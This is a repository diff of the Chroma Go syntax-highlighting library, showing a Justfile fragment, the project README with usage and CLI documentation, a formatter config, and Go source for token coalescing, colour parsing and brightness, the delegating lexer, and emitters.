|
||||
install -m644 "$tinygoroot/targets/wasm_exec.js" cmd/chromad/static/wasm_exec.js
|
||||
|
||||
# Build WASM binary
|
||||
chroma-wasm:
|
||||
#!/usr/bin/env bash
|
||||
if type tinygo > /dev/null 2>&1; then
|
||||
mk cmd/chromad/static/chroma.wasm : cmd/libchromawasm/main.go -- \
|
||||
tinygo build -no-debug -target wasm -o cmd/chromad/static/chroma.wasm cmd/libchromawasm/main.go
|
||||
else
|
||||
mk cmd/chromad/static/chroma.wasm : cmd/libchromawasm/main.go -- \
|
||||
GOOS=js GOARCH=wasm go build -o cmd/chromad/static/chroma.wasm cmd/libchromawasm/main.go
|
||||
fi
|
||||
|
||||
# Upload chromad to server
|
||||
upload: chromad
|
||||
scp build/chromad [email protected]:
|
||||
ssh [email protected] 'install -m755 ./chromad /srv/http/swapoff.org/bin && service chromad restart'
|
||||
+307
@@ -0,0 +1,307 @@
|
||||

|
||||
|
||||
# A general purpose syntax highlighter in pure Go
|
||||
|
||||
[](https://pkg.go.dev/github.com/alecthomas/chroma/v2) [](https://github.com/alecthomas/chroma/actions/workflows/ci.yml) [](https://invite.slack.golangbridge.org/)
|
||||
|
||||
|
||||
Chroma takes source code and other structured text and converts it into syntax
|
||||
highlighted HTML, ANSI-coloured text, etc.
|
||||
|
||||
Chroma is based heavily on [Pygments](http://pygments.org/), and includes
|
||||
translators for Pygments lexers and styles.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
<!-- TOC -->
|
||||
|
||||
1. [Supported languages](#supported-languages)
|
||||
2. [Try it](#try-it)
|
||||
3. [Using the library](#using-the-library)
|
||||
1. [Quick start](#quick-start)
|
||||
2. [Identifying the language](#identifying-the-language)
|
||||
3. [Formatting the output](#formatting-the-output)
|
||||
4. [The HTML formatter](#the-html-formatter)
|
||||
4. [More detail](#more-detail)
|
||||
1. [Lexers](#lexers)
|
||||
2. [Formatters](#formatters)
|
||||
3. [Styles](#styles)
|
||||
5. [Command-line interface](#command-line-interface)
|
||||
6. [Testing lexers](#testing-lexers)
|
||||
7. [What's missing compared to Pygments?](#whats-missing-compared-to-pygments)
|
||||
|
||||
<!-- /TOC -->
|
||||
|
||||
## Supported languages
|
||||
|
||||
| Prefix | Language
|
||||
| :----: | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
| A | ABAP, ABNF, ActionScript, ActionScript 3, Ada, Agda, AL, Alloy, Angular2, ANTLR, ApacheConf, APL, AppleScript, ArangoDB AQL, Arduino, ArmAsm, ATL, AutoHotkey, AutoIt, Awk
|
||||
| B | Ballerina, Bash, Bash Session, Batchfile, Beef, BibTeX, Bicep, BlitzBasic, BNF, BQN, Brainfuck
|
||||
| C | C, C#, C++, C3, Caddyfile, Caddyfile Directives, Cap'n Proto, Cassandra CQL, Ceylon, CFEngine3, cfstatement, ChaiScript, Chapel, Cheetah, Clojure, CMake, COBOL, CoffeeScript, Common Lisp, Coq, Core, Crystal, CSS, CSV, CUE, Cython
|
||||
| D | D, Dart, Dax, Desktop file, Diff, Django/Jinja, dns, Docker, DTD, Dylan
|
||||
| E | EBNF, Elixir, Elm, EmacsLisp, Erlang
|
||||
| F | Factor, Fennel, Fish, Forth, Fortran, FortranFixed, FSharp
|
||||
| G | GAS, GDScript, GDScript3, Gemtext, Genshi, Genshi HTML, Genshi Text, Gherkin, Gleam, GLSL, Gnuplot, Go, Go HTML Template, Go Template, Go Text Template, GraphQL, Groff, Groovy
|
||||
| H | Handlebars, Hare, Haskell, Haxe, HCL, Hexdump, HLB, HLSL, HolyC, HTML, HTTP, Hy
|
||||
| I | Idris, Igor, INI, Io, ISCdhcpd
|
||||
| J | J, Janet, Java, JavaScript, JSON, JSONata, Jsonnet, Julia, Jungle
|
||||
| K | Kakoune, Kotlin
|
||||
| L | Lean4, Lighttpd configuration file, LLVM, lox, Lua
|
||||
| M | Makefile, Mako, markdown, Markless, Mason, Materialize SQL dialect, Mathematica, Matlab, MCFunction, Meson, Metal, MiniZinc, MLIR, Modelica, Modula-2, Mojo, MonkeyC, MoonScript, MorrowindScript, Myghty, MySQL
|
||||
| N | NASM, Natural, NDISASM, Newspeak, Nginx configuration file, Nim, Nix, NSIS, Nu
|
||||
| O | Objective-C, ObjectPascal, OCaml, Octave, Odin, OnesEnterprise, OpenEdge ABL, OpenSCAD, Org Mode
|
||||
| P | PacmanConf, Perl, PHP, PHTML, Pig, PkgConfig, PL/pgSQL, plaintext, Plutus Core, Pony, PostgreSQL SQL dialect, PostScript, POVRay, PowerQuery, PowerShell, Prolog, Promela, PromQL, properties, Protocol Buffer, Protocol Buffer Text Format, PRQL, PSL, Puppet, Python, Python 2
|
||||
| Q | QBasic, QML
|
||||
| R | R, Racket, Ragel, Raku, react, ReasonML, reg, Rego, reStructuredText, Rexx, RGBDS Assembly, Ring, RPGLE, RPMSpec, Ruby, Rust
|
||||
| S | SAS, Sass, Scala, Scheme, Scilab, SCSS, Sed, Sieve, Smali, Smalltalk, Smarty, SNBT, Snobol, Solidity, SourcePawn, SPARQL, SQL, SquidConf, Standard ML, stas, Stylus, Svelte, Swift, SYSTEMD, systemverilog
|
||||
| T | TableGen, Tal, TASM, Tcl, Tcsh, Termcap, Terminfo, Terraform, TeX, Thrift, TOML, TradingView, Transact-SQL, Turing, Turtle, Twig, TypeScript, TypoScript, TypoScriptCssData, TypoScriptHtmlData, Typst
|
||||
| U | ucode
|
||||
| V | V, V shell, Vala, VB.net, verilog, VHDL, VHS, VimL, vue
|
||||
| W | WDTE, WebAssembly Text Format, WebGPU Shading Language, WebVTT, Whiley
|
||||
| X | XML, Xorg
|
||||
| Y | YAML, YANG
|
||||
| Z | Z80 Assembly, Zed, Zig
|
||||
|
||||
_I will attempt to keep this section up to date, but an authoritative list can be
|
||||
displayed with `chroma --list`._
|
||||
|
||||
## Try it
|
||||
|
||||
Try out various languages and styles on the [Chroma Playground](https://swapoff.org/chroma/playground/).
|
||||
|
||||
## Using the library
|
||||
|
||||
This is version 2 of Chroma, use the import path:
|
||||
|
||||
```go
|
||||
import "github.com/alecthomas/chroma/v2"
|
||||
```
|
||||
|
||||
Chroma, like Pygments, has the concepts of
|
||||
[lexers](https://github.com/alecthomas/chroma/tree/master/lexers),
|
||||
[formatters](https://github.com/alecthomas/chroma/tree/master/formatters) and
|
||||
[styles](https://github.com/alecthomas/chroma/tree/master/styles).
|
||||
|
||||
Lexers convert source text into a stream of tokens, styles specify how token
|
||||
types are mapped to colours, and formatters convert tokens and styles into
|
||||
formatted output.
|
||||
|
||||
A package exists for each of these, containing a global `Registry` variable
|
||||
with all of the registered implementations. There are also helper functions
|
||||
for using the registry in each package, such as looking up lexers by name or
|
||||
matching filenames, etc.
|
||||
|
||||
In all cases, if a lexer, formatter or style can not be determined, `nil` will
|
||||
be returned. In this situation you may want to default to the `Fallback`
|
||||
value in each respective package, which provides sane defaults.
|
||||
|
||||
### Quick start
|
||||
|
||||
A convenience function exists that can be used to simply format some source
|
||||
text, without any effort:
|
||||
|
||||
```go
|
||||
err := quick.Highlight(os.Stdout, someSourceCode, "go", "html", "monokai")
|
||||
```
|
||||
|
||||
### Identifying the language
|
||||
|
||||
To highlight code, you'll first have to identify what language the code is
|
||||
written in. There are three primary ways to do that:
|
||||
|
||||
1. Detect the language from its filename.
|
||||
|
||||
```go
|
||||
lexer := lexers.Match("foo.go")
|
||||
```
|
||||
|
||||
2. Explicitly specify the language by its Chroma syntax ID (a full list is available from `lexers.Names()`).
|
||||
|
||||
```go
|
||||
lexer := lexers.Get("go")
|
||||
```
|
||||
|
||||
3. Detect the language from its content.
|
||||
|
||||
```go
|
||||
lexer := lexers.Analyse("package main\n\nfunc main()\n{\n}\n")
|
||||
```
|
||||
|
||||
In all cases, `nil` will be returned if the language can not be identified.
|
||||
|
||||
```go
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
```
|
||||
|
||||
At this point, it should be noted that some lexers can be extremely chatty. To
|
||||
mitigate this, you can use the coalescing lexer to coalesce runs of identical
|
||||
token types into a single token:
|
||||
|
||||
```go
|
||||
lexer = chroma.Coalesce(lexer)
|
||||
```
|
||||
|
||||
### Formatting the output
|
||||
|
||||
Once a language is identified you will need to pick a formatter and a style (theme).
|
||||
|
||||
```go
|
||||
style := styles.Get("swapoff")
|
||||
if style == nil {
|
||||
style = styles.Fallback
|
||||
}
|
||||
formatter := formatters.Get("html")
|
||||
if formatter == nil {
|
||||
formatter = formatters.Fallback
|
||||
}
|
||||
```
|
||||
|
||||
Then obtain an iterator over the tokens:
|
||||
|
||||
```go
|
||||
contents, err := ioutil.ReadAll(r)
|
||||
iterator, err := lexer.Tokenise(nil, string(contents))
|
||||
```
|
||||
|
||||
And finally, format the tokens from the iterator:
|
||||
|
||||
```go
|
||||
err := formatter.Format(w, style, iterator)
|
||||
```
|
||||
|
||||
### The HTML formatter
|
||||
|
||||
By default the `html` registered formatter generates standalone HTML with
|
||||
embedded CSS. More flexibility is available through the `formatters/html` package.
|
||||
|
||||
Firstly, the output generated by the formatter can be customised with the
|
||||
following constructor options:
|
||||
|
||||
- `Standalone()` - generate standalone HTML with embedded CSS.
|
||||
- `WithClasses()` - use classes rather than inlined style attributes.
|
||||
- `ClassPrefix(prefix)` - prefix each generated CSS class.
|
||||
- `TabWidth(width)` - Set the rendered tab width, in characters.
|
||||
- `WithLineNumbers()` - Render line numbers (style with `LineNumbers`).
|
||||
- `WithLinkableLineNumbers()` - Make the line numbers linkable and be a link to themselves.
|
||||
- `HighlightLines(ranges)` - Highlight lines in these ranges (style with `LineHighlight`).
|
||||
- `LineNumbersInTable()` - Use a table for formatting line numbers and code, rather than spans.
|
||||
|
||||
If `WithClasses()` is used, the corresponding CSS can be obtained from the formatter with:
|
||||
|
||||
```go
|
||||
formatter := html.New(html.WithClasses(true))
|
||||
err := formatter.WriteCSS(w, style)
|
||||
```
|
||||
|
||||
## More detail
|
||||
|
||||
### Lexers
|
||||
|
||||
See the [Pygments documentation](http://pygments.org/docs/lexerdevelopment/)
|
||||
for details on implementing lexers. Most concepts apply directly to Chroma,
|
||||
but see existing lexer implementations for real examples.
|
||||
|
||||
In many cases lexers can be automatically converted directly from Pygments by
|
||||
using the included Python 3 script `pygments2chroma_xml.py`. I use something like
|
||||
the following:
|
||||
|
||||
```sh
|
||||
uv run --script _tools/pygments2chroma_xml.py \
|
||||
pygments.lexers.jvm.KotlinLexer \
|
||||
> lexers/embedded/kotlin.xml
|
||||
```
|
||||
|
||||
A list of all lexers available in Pygments can be found in [pygments-lexers.txt](https://github.com/alecthomas/chroma/blob/master/pygments-lexers.txt).
|
||||
|
||||
### Formatters
|
||||
|
||||
Chroma supports HTML output, as well as terminal output in 8 colour, 256 colour, and true-colour.
|
||||
|
||||
A `noop` formatter is included that outputs the token text only, and a `tokens`
|
||||
formatter outputs raw tokens. The latter is useful for debugging lexers.
|
||||
|
||||
### Styles
|
||||
|
||||
Chroma styles are defined in XML. The style entries use the
|
||||
[same syntax](http://pygments.org/docs/styles/) as Pygments.
|
||||
|
||||
All Pygments styles have been converted to Chroma using the `_tools/style.py`
|
||||
script.
|
||||
|
||||
When you work with one of [Chroma's styles](https://github.com/alecthomas/chroma/tree/master/styles),
|
||||
know that the `Background` token type provides the default style for tokens. It does so
|
||||
by defining a foreground color and background color.
|
||||
|
||||
For example, this gives each token name not defined in the style a default color
|
||||
of `#f8f8f8` and uses `#000000` for the highlighted code block's background:
|
||||
|
||||
```xml
|
||||
<entry type="Background" style="#f8f8f2 bg:#000000"/>
|
||||
```
|
||||
|
||||
Also, token types in a style file are hierarchical. For instance, when `CommentSpecial` is not defined, Chroma uses the token style from `Comment`. So when several comment tokens use the same color, you'll only need to define `Comment` and override the one that has a different color.
|
||||
|
||||
For a quick overview of the available styles and how they look, check out the [Chroma Style Gallery](https://xyproto.github.io/splash/docs/).
|
||||
|
||||
## Command-line interface
|
||||
|
||||
A command-line interface to Chroma is included.
|
||||
|
||||
Binaries are available to install from [the releases page](https://github.com/alecthomas/chroma/releases).
|
||||
|
||||
The CLI can be used as a preprocessor to colorise output of `less(1)`,
|
||||
see documentation for the `LESSOPEN` environment variable.
|
||||
|
||||
The `--fail` flag can be used to suppress output and return with exit status
|
||||
1 to facilitate falling back to some other preprocessor in case chroma
|
||||
does not resolve a specific lexer to use for the given file. For example:
|
||||
|
||||
```shell
|
||||
export LESSOPEN='| p() { chroma --fail "$1" || cat "$1"; }; p "%s"'
|
||||
```
|
||||
|
||||
Replace `cat` with your favourite fallback preprocessor.
|
||||
|
||||
When invoked as `.lessfilter`, the `--fail` flag is automatically turned
|
||||
on under the hood for easy integration with [lesspipe shipping with
|
||||
Debian and derivatives](https://manpages.debian.org/lesspipe#USER_DEFINED_FILTERS);
|
||||
for that setup the `chroma` executable can be just symlinked to `~/.lessfilter`.
|
||||
|
||||
## Projects using Chroma
|
||||
|
||||
* [`moor`](https://github.com/walles/moor) is a full-blown pager that colorizes
|
||||
its input using Chroma
|
||||
* [Hugo](https://gohugo.io/) is a static site generator that [uses Chroma for syntax
|
||||
highlighting code examples](https://gohugo.io/content-management/syntax-highlighting/)
|
||||
|
||||
## Testing lexers
|
||||
|
||||
If you edit some lexers and want to try it, open a shell in `cmd/chromad` and run:
|
||||
|
||||
```shell
|
||||
go run . --csrf-key=securekey
|
||||
```
|
||||
|
||||
A Link will be printed. Open it in your Browser. Now you can test on the Playground with your local changes.
|
||||
|
||||
If you want to run the tests and the lexers, open a shell in the root directory and run:
|
||||
|
||||
```shell
|
||||
go test ./lexers
|
||||
```
|
||||
|
||||
When updating or adding a lexer, please add tests. See [lexers/README.md](lexers/README.md) for more.
|
||||
|
||||
## What's missing compared to Pygments?
|
||||
|
||||
- Quite a few lexers, for various reasons (pull-requests welcome):
|
||||
- Pygments lexers for complex languages often include custom code to
|
||||
handle certain aspects, such as Raku's ability to nest code inside
|
||||
regular expressions. These require time and effort to convert.
|
||||
- I mostly only converted languages I had heard of, to reduce the porting cost.
|
||||
- Some more esoteric features of Pygments are omitted for simplicity.
|
||||
- Though the Chroma API supports content detection, very few languages support them.
|
||||
I have plans to implement a statistical analyser at some point, but not enough time.
|
||||
+6
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"$schema": "https://biomejs.dev/schemas/2.0.5/schema.json",
|
||||
"formatter": {
|
||||
"indentStyle": "space"
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 79 KiB |
+35
@@ -0,0 +1,35 @@
|
||||
package chroma
|
||||
|
||||
// Coalesce is a Lexer interceptor that collapses runs of common types into a single token.
|
||||
func Coalesce(lexer Lexer) Lexer { return &coalescer{lexer} }
|
||||
|
||||
type coalescer struct{ Lexer }
|
||||
|
||||
func (d *coalescer) Tokenise(options *TokeniseOptions, text string) (Iterator, error) {
|
||||
var prev Token
|
||||
it, err := d.Lexer.Tokenise(options, text)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return func() Token {
|
||||
for token := it(); token != (EOF); token = it() {
|
||||
if len(token.Value) == 0 {
|
||||
continue
|
||||
}
|
||||
if prev == EOF {
|
||||
prev = token
|
||||
} else {
|
||||
if prev.Type == token.Type && len(prev.Value) < 8192 {
|
||||
prev.Value += token.Value
|
||||
} else {
|
||||
out := prev
|
||||
prev = token
|
||||
return out
|
||||
}
|
||||
}
|
||||
}
|
||||
out := prev
|
||||
prev = EOF
|
||||
return out
|
||||
}, nil
|
||||
}
|
||||
+192
@@ -0,0 +1,192 @@
|
||||
package chroma
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ANSI2RGB maps ANSI colour names, as supported by Chroma, to hex RGB values.
|
||||
var ANSI2RGB = map[string]string{
|
||||
"#ansiblack": "000000",
|
||||
"#ansidarkred": "7f0000",
|
||||
"#ansidarkgreen": "007f00",
|
||||
"#ansibrown": "7f7fe0",
|
||||
"#ansidarkblue": "00007f",
|
||||
"#ansipurple": "7f007f",
|
||||
"#ansiteal": "007f7f",
|
||||
"#ansilightgray": "e5e5e5",
|
||||
// Normal
|
||||
"#ansidarkgray": "555555",
|
||||
"#ansired": "ff0000",
|
||||
"#ansigreen": "00ff00",
|
||||
"#ansiyellow": "ffff00",
|
||||
"#ansiblue": "0000ff",
|
||||
"#ansifuchsia": "ff00ff",
|
||||
"#ansiturquoise": "00ffff",
|
||||
"#ansiwhite": "ffffff",
|
||||
|
||||
// Aliases without the "ansi" prefix, because...why?
|
||||
"#black": "000000",
|
||||
"#darkred": "7f0000",
|
||||
"#darkgreen": "007f00",
|
||||
"#brown": "7f7fe0",
|
||||
"#darkblue": "00007f",
|
||||
"#purple": "7f007f",
|
||||
"#teal": "007f7f",
|
||||
"#lightgray": "e5e5e5",
|
||||
// Normal
|
||||
"#darkgray": "555555",
|
||||
"#red": "ff0000",
|
||||
"#green": "00ff00",
|
||||
"#yellow": "ffff00",
|
||||
"#blue": "0000ff",
|
||||
"#fuchsia": "ff00ff",
|
||||
"#turquoise": "00ffff",
|
||||
"#white": "ffffff",
|
||||
}
|
||||
|
||||
// Colour represents an RGB colour.
|
||||
type Colour int32
|
||||
|
||||
// NewColour creates a Colour directly from RGB values.
|
||||
func NewColour(r, g, b uint8) Colour {
|
||||
return ParseColour(fmt.Sprintf("%02x%02x%02x", r, g, b))
|
||||
}
|
||||
|
||||
// Distance between this colour and another.
|
||||
//
|
||||
// This uses the approach described here (https://www.compuphase.com/cmetric.htm).
|
||||
// This is not as accurate as LAB, et. al. but is *vastly* simpler and sufficient for our needs.
|
||||
func (c Colour) Distance(e2 Colour) float64 {
|
||||
ar, ag, ab := int64(c.Red()), int64(c.Green()), int64(c.Blue())
|
||||
br, bg, bb := int64(e2.Red()), int64(e2.Green()), int64(e2.Blue())
|
||||
rmean := (ar + br) / 2
|
||||
r := ar - br
|
||||
g := ag - bg
|
||||
b := ab - bb
|
||||
return math.Sqrt(float64((((512 + rmean) * r * r) >> 8) + 4*g*g + (((767 - rmean) * b * b) >> 8)))
|
||||
}
|
||||
|
||||
// Brighten returns a copy of this colour with its brightness adjusted.
|
||||
//
|
||||
// If factor is negative, the colour is darkened.
|
||||
//
|
||||
// Uses approach described here (http://www.pvladov.com/2012/09/make-color-lighter-or-darker.html).
|
||||
func (c Colour) Brighten(factor float64) Colour {
|
||||
r := float64(c.Red())
|
||||
g := float64(c.Green())
|
||||
b := float64(c.Blue())
|
||||
|
||||
if factor < 0 {
|
||||
factor++
|
||||
r *= factor
|
||||
g *= factor
|
||||
b *= factor
|
||||
} else {
|
||||
r = (255-r)*factor + r
|
||||
g = (255-g)*factor + g
|
||||
b = (255-b)*factor + b
|
||||
}
|
||||
return NewColour(uint8(r), uint8(g), uint8(b))
|
||||
}
|
||||
|
||||
// BrightenOrDarken brightens a colour if it is < 0.5 brightness or darkens if > 0.5 brightness.
|
||||
func (c Colour) BrightenOrDarken(factor float64) Colour {
|
||||
if c.Brightness() < 0.5 {
|
||||
return c.Brighten(factor)
|
||||
}
|
||||
return c.Brighten(-factor)
|
||||
}
|
||||
|
||||
// ClampBrightness returns a copy of this colour with its brightness adjusted such that
|
||||
// it falls within the range [min, max] (or very close to it due to rounding errors).
|
||||
// The supplied values use the same [0.0, 1.0] range as Brightness.
|
||||
func (c Colour) ClampBrightness(min, max float64) Colour {
|
||||
if !c.IsSet() {
|
||||
return c
|
||||
}
|
||||
|
||||
min = math.Max(min, 0)
|
||||
max = math.Min(max, 1)
|
||||
current := c.Brightness()
|
||||
target := math.Min(math.Max(current, min), max)
|
||||
if current == target {
|
||||
return c
|
||||
}
|
||||
|
||||
r := float64(c.Red())
|
||||
g := float64(c.Green())
|
||||
b := float64(c.Blue())
|
||||
rgb := r + g + b
|
||||
if target > current {
|
||||
// Solve for x: target == ((255-r)*x + r + (255-g)*x + g + (255-b)*x + b) / 255 / 3
|
||||
return c.Brighten((target*255*3 - rgb) / (255*3 - rgb))
|
||||
}
|
||||
// Solve for x: target == (r*(x+1) + g*(x+1) + b*(x+1)) / 255 / 3
|
||||
return c.Brighten((target*255*3)/rgb - 1)
|
||||
}
|
||||
|
||||
// Brightness of the colour (roughly) in the range 0.0 to 1.0.
|
||||
func (c Colour) Brightness() float64 {
|
||||
return (float64(c.Red()) + float64(c.Green()) + float64(c.Blue())) / 255.0 / 3.0
|
||||
}
|
||||
|
||||
// ParseColour in the forms #rgb, #rrggbb, #ansi<colour>, or #<colour>.
|
||||
// Will return an "unset" colour if invalid.
|
||||
func ParseColour(colour string) Colour {
|
||||
colour = normaliseColour(colour)
|
||||
n, err := strconv.ParseUint(colour, 16, 32)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
return Colour(n + 1) //nolint:gosec
|
||||
}
|
||||
|
||||
// MustParseColour is like ParseColour except it panics if the colour is invalid.
|
||||
//
|
||||
// Will panic if colour is in an invalid format.
|
||||
func MustParseColour(colour string) Colour {
|
||||
parsed := ParseColour(colour)
|
||||
if !parsed.IsSet() {
|
||||
panic(fmt.Errorf("invalid colour %q", colour))
|
||||
}
|
||||
return parsed
|
||||
}
|
||||
|
||||
// IsSet returns true if the colour is set.
|
||||
func (c Colour) IsSet() bool { return c != 0 }
|
||||
|
||||
func (c Colour) String() string { return fmt.Sprintf("#%06x", int(c-1)) }
|
||||
func (c Colour) GoString() string { return fmt.Sprintf("Colour(0x%06x)", int(c-1)) }
|
||||
|
||||
// Red component of colour.
|
||||
func (c Colour) Red() uint8 { return uint8(((c - 1) >> 16) & 0xff) } //nolint:gosec
|
||||
|
||||
// Green component of colour.
|
||||
func (c Colour) Green() uint8 { return uint8(((c - 1) >> 8) & 0xff) } //nolint:gosec
|
||||
|
||||
// Blue component of colour.
|
||||
func (c Colour) Blue() uint8 { return uint8((c - 1) & 0xff) } //nolint:gosec
|
||||
|
||||
// Colours is an orderable set of colours.
|
||||
type Colours []Colour
|
||||
|
||||
func (c Colours) Len() int { return len(c) }
|
||||
func (c Colours) Swap(i, j int) { c[i], c[j] = c[j], c[i] }
|
||||
func (c Colours) Less(i, j int) bool { return c[i] < c[j] }
|
||||
|
||||
// Convert colours to #rrggbb.
|
||||
func normaliseColour(colour string) string {
|
||||
if ansi, ok := ANSI2RGB[colour]; ok {
|
||||
return ansi
|
||||
}
|
||||
if strings.HasPrefix(colour, "#") {
|
||||
colour = colour[1:]
|
||||
if len(colour) == 3 {
|
||||
return colour[0:1] + colour[0:1] + colour[1:2] + colour[1:2] + colour[2:3] + colour[2:3]
|
||||
}
|
||||
}
|
||||
return colour
|
||||
}
|
||||
+161
@@ -0,0 +1,161 @@
|
||||
package chroma
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
)
|
||||
|
||||
type delegatingLexer struct {
|
||||
root Lexer
|
||||
language Lexer
|
||||
}
|
||||
|
||||
// DelegatingLexer combines two lexers to handle the common case of a language embedded inside another, such as PHP
|
||||
// inside HTML or PHP inside plain text.
|
||||
//
|
||||
// It takes two lexer as arguments: a root lexer and a language lexer. First everything is scanned using the language
|
||||
// lexer, which must return "Other" for unrecognised tokens. Then all "Other" tokens are lexed using the root lexer.
|
||||
// Finally, these two sets of tokens are merged.
|
||||
//
|
||||
// The lexers from the template lexer package use this base lexer.
|
||||
func DelegatingLexer(root Lexer, language Lexer) Lexer {
|
||||
return &delegatingLexer{
|
||||
root: root,
|
||||
language: language,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *delegatingLexer) SetTracing(enable bool) {
|
||||
if l, ok := d.language.(TracingLexer); ok {
|
||||
l.SetTracing(enable)
|
||||
}
|
||||
if l, ok := d.root.(TracingLexer); ok {
|
||||
l.SetTracing(enable)
|
||||
}
|
||||
}
|
||||
|
||||
func (d *delegatingLexer) AnalyseText(text string) float32 {
|
||||
return d.root.AnalyseText(text)
|
||||
}
|
||||
|
||||
func (d *delegatingLexer) SetAnalyser(analyser func(text string) float32) Lexer {
|
||||
d.root.SetAnalyser(analyser)
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *delegatingLexer) SetRegistry(r *LexerRegistry) Lexer {
|
||||
d.root.SetRegistry(r)
|
||||
d.language.SetRegistry(r)
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *delegatingLexer) Config() *Config {
|
||||
return d.language.Config()
|
||||
}
|
||||
|
||||
// An insertion is the character range where language tokens should be inserted.
|
||||
type insertion struct {
|
||||
start, end int
|
||||
tokens []Token
|
||||
}
|
||||
|
||||
func (d *delegatingLexer) Tokenise(options *TokeniseOptions, text string) (Iterator, error) { // nolint: gocognit
|
||||
tokens, err := Tokenise(Coalesce(d.language), options, text)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Compute insertions and gather "Other" tokens.
|
||||
others := &bytes.Buffer{}
|
||||
insertions := []*insertion{}
|
||||
var insert *insertion
|
||||
offset := 0
|
||||
var last Token
|
||||
for _, t := range tokens {
|
||||
if t.Type == Other {
|
||||
if last != EOF && insert != nil && last.Type != Other {
|
||||
insert.end = offset
|
||||
}
|
||||
others.WriteString(t.Value)
|
||||
} else {
|
||||
if last == EOF || last.Type == Other {
|
||||
insert = &insertion{start: offset}
|
||||
insertions = append(insertions, insert)
|
||||
}
|
||||
insert.tokens = append(insert.tokens, t)
|
||||
}
|
||||
last = t
|
||||
offset += len(t.Value)
|
||||
}
|
||||
|
||||
if len(insertions) == 0 {
|
||||
return d.root.Tokenise(options, text)
|
||||
}
|
||||
|
||||
// Lex the other tokens.
|
||||
rootTokens, err := Tokenise(Coalesce(d.root), options, others.String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Interleave the two sets of tokens.
|
||||
var out []Token
|
||||
offset = 0 // Offset into text.
|
||||
tokenIndex := 0
|
||||
nextToken := func() Token {
|
||||
if tokenIndex >= len(rootTokens) {
|
||||
return EOF
|
||||
}
|
||||
t := rootTokens[tokenIndex]
|
||||
tokenIndex++
|
||||
return t
|
||||
}
|
||||
insertionIndex := 0
|
||||
nextInsertion := func() *insertion {
|
||||
if insertionIndex >= len(insertions) {
|
||||
return nil
|
||||
}
|
||||
i := insertions[insertionIndex]
|
||||
insertionIndex++
|
||||
return i
|
||||
}
|
||||
t := nextToken()
|
||||
i := nextInsertion()
|
||||
for t != EOF || i != nil {
|
||||
// fmt.Printf("%d->%d:%q %d->%d:%q\n", offset, offset+len(t.Value), t.Value, i.start, i.end, Stringify(i.tokens...))
|
||||
if t == EOF || (i != nil && i.start < offset+len(t.Value)) {
|
||||
var l Token
|
||||
l, t = splitToken(t, i.start-offset)
|
||||
if l != EOF {
|
||||
out = append(out, l)
|
||||
offset += len(l.Value)
|
||||
}
|
||||
out = append(out, i.tokens...)
|
||||
offset += i.end - i.start
|
||||
if t == EOF {
|
||||
t = nextToken()
|
||||
}
|
||||
i = nextInsertion()
|
||||
} else {
|
||||
out = append(out, t)
|
||||
offset += len(t.Value)
|
||||
t = nextToken()
|
||||
}
|
||||
}
|
||||
return Literator(out...), nil
|
||||
}
|
||||
|
||||
func splitToken(t Token, offset int) (l Token, r Token) {
|
||||
if t == EOF {
|
||||
return EOF, EOF
|
||||
}
|
||||
if offset == 0 {
|
||||
return EOF, t
|
||||
}
|
||||
if offset == len(t.Value) {
|
||||
return t, EOF
|
||||
}
|
||||
l = t.Clone()
|
||||
r = t.Clone()
|
||||
l.Value = l.Value[:offset]
|
||||
r.Value = r.Value[offset:]
|
||||
return
|
||||
}
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
// Package chroma takes source code and other structured text and converts it into syntax highlighted HTML, ANSI-
|
||||
// coloured text, etc.
|
||||
//
|
||||
// Chroma is based heavily on Pygments, and includes translators for Pygments lexers and styles.
|
||||
//
|
||||
// For more information, go here: https://github.com/alecthomas/chroma
|
||||
package chroma
|
||||
+233
@@ -0,0 +1,233 @@
|
||||
package chroma
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// An Emitter takes group matches and returns tokens.
|
||||
type Emitter interface {
|
||||
// Emit tokens for the given regex groups.
|
||||
Emit(groups []string, state *LexerState) Iterator
|
||||
}
|
||||
|
||||
// ValidatingEmitter is an Emitter that can validate against a compiled rule.
|
||||
type ValidatingEmitter interface {
|
||||
Emitter
|
||||
ValidateEmitter(rule *CompiledRule) error
|
||||
}
|
||||
|
||||
// SerialisableEmitter is an Emitter that can be serialised and deserialised to/from JSON.
|
||||
type SerialisableEmitter interface {
|
||||
Emitter
|
||||
EmitterKind() string
|
||||
}
|
||||
|
||||
// EmitterFunc is a function that is an Emitter.
|
||||
type EmitterFunc func(groups []string, state *LexerState) Iterator
|
||||
|
||||
// Emit tokens for groups.
|
||||
func (e EmitterFunc) Emit(groups []string, state *LexerState) Iterator {
|
||||
return e(groups, state)
|
||||
}
|
||||
|
||||
type Emitters []Emitter
|
||||
|
||||
type byGroupsEmitter struct {
|
||||
Emitters
|
||||
}
|
||||
|
||||
var _ ValidatingEmitter = (*byGroupsEmitter)(nil)
|
||||
|
||||
// ByGroups emits a token for each matching group in the rule's regex.
|
||||
func ByGroups(emitters ...Emitter) Emitter {
|
||||
return &byGroupsEmitter{Emitters: emitters}
|
||||
}
|
||||
|
||||
func (b *byGroupsEmitter) EmitterKind() string { return "bygroups" }
|
||||
|
||||
func (b *byGroupsEmitter) ValidateEmitter(rule *CompiledRule) error {
|
||||
if len(rule.Regexp.GetGroupNumbers())-1 != len(b.Emitters) {
|
||||
return fmt.Errorf("number of groups %d does not match number of emitters %d", len(rule.Regexp.GetGroupNumbers())-1, len(b.Emitters))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
